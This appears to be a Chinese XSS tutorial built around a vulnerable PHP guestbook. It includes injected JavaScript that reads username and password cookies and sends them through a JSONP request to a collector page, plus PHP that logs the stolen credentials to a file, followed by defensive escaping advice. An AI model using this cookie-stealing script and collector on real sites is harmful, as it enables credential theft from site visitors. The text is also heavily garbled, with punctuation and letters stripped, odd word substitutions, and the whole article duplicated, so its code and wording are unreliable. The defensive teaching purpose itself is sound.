跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意代码,当用户阅读该页之时,嵌入其中Web里面的代码会被执行,从而到达恶意用户的不同凡响目标。
当在响应页面中返回用户输入的JavaScript代码时,阅读器便会执行该代码。攻击者往往应用该原理向网页中插入恶意代码,并生成恶意链接诱采用户点击。当用户点击该连接时,便会生成对Web站点的请愿,其中的参数值含有恶意的JavaScript代码。
假如Web站点将这个参数值嵌入在响应的HTML页面中(这正是站点疑问的本性所在),恶意代码便会在用户阅读器中运行,到达攻击者的目标。
Web站点中所涵盖的脚本直接将用户在HTML页面中的输入(通常是参数值)返回,而不预先加以清除。 假如脚本在响应页面中返回由JavaScript代码构造的输入,阅读器便可以执行此输入。 因此,有可能形成指向站点的若干链接,且其中一个参数涵盖恶意的JavaScript代码。 该代码将在站点高下文中(由用户阅读器)执行,这使得该代码有权拜访用户在该站点中具有拜访权的cookie,以及站点中其他可通过用户阅读器拜访的窗口。
攻击按照下列方式继续进行:攻击者诱惑正当用户单击攻击者生成的链接。用户单击该链接时,便会生成对于Web站点的请愿,其中的参数值含有恶意的JavaScript代码。 假如Web站点将这个参数值嵌入在响应的HTML页面中(这正是站点疑问的本性所在),恶意代码便会在用户阅读器中运行。
一个简朴的留言板我们有个页面用于许可用户发表留言,然后在页面底部显示留言列表
!DOCTYPE head?phpinclude(ponentsheaderincludephp);?headstyletype=textcssment-title{font-size14px;margin6px0px2px4px;}ment-body{font-size14px;colorccc;font-styleitalic;border-bottomdashed1pxccc;margin4px;}stylescripttype=textjavascriptsrc=jscookiesjsscript body formmethod=postaction=listphpdivstyle=margin20px;divstyle=font-size16px;font-eightbold;YourCommentdivdivstyle=padding6px;NickNamebrinputname=nametype=textstyle=th300px;divdivstyle=padding6px;Commentbrtextareaname=mentstyle=height100px;th300px;textareadivdivstyle=padding-left230px;inputtype=submitvalue=POSTstyle=padding4px0px;th80px;divdivstyle=border-bottomsol1pxfff;margin-top10px;divstyle=font-size16px;font-eightbold;Commentsdivdiv?phprequire(ponentsmentsphp);if(!empty($_POST[name])){addElement($_POST[name],$_POST[ment]);}renderComments();?div form body
addElement()想法用于添加新的留言,而renderComments()想法用于展留言列表,网页看起来是这样的。
XSS由于我们彻底信任了用户输入,但有些别有专注的用户会像这样的输入
这样无论是谁拜访这个页面的时候管理台都会输出“Hey you are a fool fish!”,假如这只是个恶意的小玩笑,有些人做的事情就不可爱了,有些用户会应用这个破绽盗取用户信息、欺骗人打开恶意网站或者下载恶意程序等。
应用xss盗取用户名密码当然这个示例很简朴,几乎攻击不到任何网站,仅仅看看其原理。我们知道许多登陆界面都有铭记用户名、密码的性能便捷用户下次登录,有些网站是直接用明文纪实用户名、密码,恶意用户注册账户登录后采用简朴工具察看cookie组织名称后,假如网站有xss破绽,那么简朴的应用jsonp就可以获取其它用户的用户名、密码了。
恶意用户会这么输入
我们看看testhackjs里藏了什么?
varusername=CookieHelpergetCookie(username)value; varpassord=CookieHelpergetCookie(passord)value; varscript=documentcreateElement(script); scriptsrc=testindexphp?username=+username+passord=+passord; documentbodyappendChild(script);
几句简朴的javascript,获取cookie中的用户名密码,应用jsonp把向testindexphp
发送了一个get请愿
testindexphp
?phpif(!empty($_GET[passord])){$username=$_GET[username];$passord=$_GET[passord];$path=$_SERVER[DOCUMENT_ROOT]passordtxt;$fp=fopen($path,a);flock($fp,LOCK_EX);frite($fp,$username\t$passord\r\n);flock($fp,LOCK_UN);fclose($fp);} ?
这样恶意用户就把拜访留言板的用户的信息盗取了
怎么预防上面演示的是一个非常简朴的XSS攻击,还有许多掩蔽的方式,但是其核心都是应用了脚本注入,因此我们解决设法其实很简朴,不信赖用户输入,对不同凡响字符如””,””转义,就可以从基本上防范这一疑问,当然许多解决方案都对XSS做了特定限制,如上面这中做法在ASPNET中不幸差异,微软valateRequest对表单提交自动做了XSS验证。但防不胜防,总有些智慧的恶意用户会到我们的网站搞损坏,对自己站点不放心可以看看这个XSS跨站测试代码大全尝尝站点是否安全。
一、 过滤用户输入的内容,查验用户输入的内容中是否有非法内容。如(尖括号)、(引号)、(单引号)、(百分比符号)、;(分号)、()(括号)、(符号)、+(加号)等。
二、严格管理输出
可以应用下面这些函数对显露xss破绽的参数进行过滤
1、specialchars()函数,用于转义处置在页面上显示的文本。
2、entities()函数,用于转义处置在页面上显示的文本。
3、strip_tags()函数,过滤掉输入、输出里面的恶意标签。
4、header()函数,采用header(Content-typeapplicationjson);用于管理json数据的头部,不用于阅读。
5、urlencode()函数,用于输出处置字符型参数带入页面链接中。
6、intval()函数用于处置数值型参数输出页面中。
7、自定义函数,在大多场合下,要采用一些常用的标签,以美化页面显示,如留言、小纸条。那么在这样的场合下,要使用白名单的想法采用正当的标签显示,过滤掉非法的字符。
各语言示例:
PHP的entities()或是specialchars()。
Python的cgiescape()。
ASP的ServerHTMLEncode()。
ASPNET的ServerHtmlEncode() 或性能更强的 Microsoft Anti-Cross Site Scripting Library
Java的xssprotect(Open Source Library)
Nodejs的node-valator。
!DOCTYPE head?phpinclude(ponentsheaderincludephp);?headstyletype=textcssment-title{font-size14px;margin6px0px2px4px;}ment-body{font-size14px;colorccc;font-styleitalic;border-bottomdashed1pxccc;margin4px;}stylescripttype=textjavascriptsrc=jscookiesjsscript body formmethod=postaction=listphpdivstyle=margin20px;divstyle=font-size16px;font-eightbold;YourCommentdivdivstyle=padding6px;NickNamebrinputname=nametype=textstyle=th300px;divdivstyle=padding6px;Commentbrtextareaname=mentstyle=height100px;th300px;textareadivdivstyle=padding-left230px;inputtype=submitvalue=POSTstyle=padding4px0px;th80px;divdivstyle=border-bottomsol1pxfff;margin-top10px;divstyle=font-size16px;font-eightbold;Commentsdivdiv?phprequire(ponentsmentsphp);if(!empty($_POST[name])){addElement($_POST[name],$_POST[ment]);}renderComments();?div form body
addElement()想法用于添加新的留言,而renderComments()想法用于展留言列表,网页看起来是这样的。
XSS
由于我们彻底信任了用户输入,但有些别有专注的用户会像这样的输入
这样无论是谁拜访这个页面的时候管理台都会输出“Hey you are a fool fish!”,假如这只是个恶意的小玩笑,有些人做的事情就不可爱了,有些用户会应用这个破绽盗取用户信息、欺骗人打开恶意网站或者下载恶意程序等。
应用xss盗取用户名密码
当然这个示例很简朴,几乎攻击不到任何网站,仅仅看看其原理。我们知道许多登陆界面都有铭记用户名、密码的性能便捷用户下次登录,有些网站是直接用明文纪实用户名、密码,恶意用户注册账户登录后采用简朴工具察看cookie组织名称后,假如网站有xss破绽,那么简朴的应用jsonp就可以获取其它用户的用户名、密码了。
恶意用户会这么输入
我们看看testhackjs里藏了什么?
varusername=CookieHelpergetCookie(username)value; varpassord=CookieHelpergetCookie(passord)value; varscript=documentcreateElement(script); scriptsrc=testindexphp?username=+username+passord=+passord; documentbodyappendChild(script);
几句简朴的javascript,获取cookie中的用户名密码,应用jsonp把向testindexphp
发送了一个get请愿
testindexphp
?phpif(!empty($_GET[passord])){$username=$_GET[username];$passord=$_GET[passord];$path=$_SERVER[DOCUMENT_ROOT]passordtxt;$fp=fopen($path,a);flock($fp,LOCK_EX);frite($fp,$username\t$passord\r\n);flock($fp,LOCK_UN);fclose($fp);} ?
这样恶意用户就把拜访留言板的用户的信息盗取了
怎么预防
上面演示的是一个非常简朴的XSS攻击,还有许多掩蔽的方式,但是其核心都是应用了脚本注入,因此我们解决设法其实很简朴,不信赖用户输入,对不同凡响字符如””,””转义,就可以从基本上防范这一疑问,当然许多解决方案都对XSS做了特定限制,如上面这中做法在ASPNET中不幸差异,微软valateRequest对表单提交自动做了XSS验证。但防不胜防,总有些智慧的恶意用户会到我们的网站搞损坏,对自己站点不放心可以看看这个XSS跨站测试代码大全尝尝站点是否安全。
一、 过滤用户输入的内容,查验用户输入的内容中是否有非法内容。如(尖括号)、(引号)、(单引号)、(百分比符号)、;(分号)、()(括号)、(符号)、+(加号)等。
二、严格管理输出
可以应用下面这些函数对显露xss破绽的参数进行过滤
1、specialchars()函数,用于转义处置在页面上显示的文本。
2、entities()函数,用于转义处置在页面上显示的文本。
3、strip_tags()函数,过滤掉输入、输出里面的恶意标签。
4、header()函数,采用header(Content-typeapplicationjson);用于管理json数据的头部,不用于阅读。
5、urlencode()函数,用于输出处置字符型参数带入页面链接中。
6、intval()函数用于处置数值型参数输出页面中。
7、自定义函数,在大多场合下,要采用一些常用的标签,以美化页面显示,如留言、小纸条。那么在这样的场合下,要使用白名单的想法采用正当的标签显示,过滤掉非法的字符。
各语言示例:
PHP的entities()或是specialchars()。
Python的cgiescape()。
ASP的ServerHTMLEncode()。
ASPNET的ServerHtmlEncode() 或性能更强的 Microsoft Anti-Cross Site Scripting Library
Java的xssprotect(Open Source Library)
Nodejs的node-valator。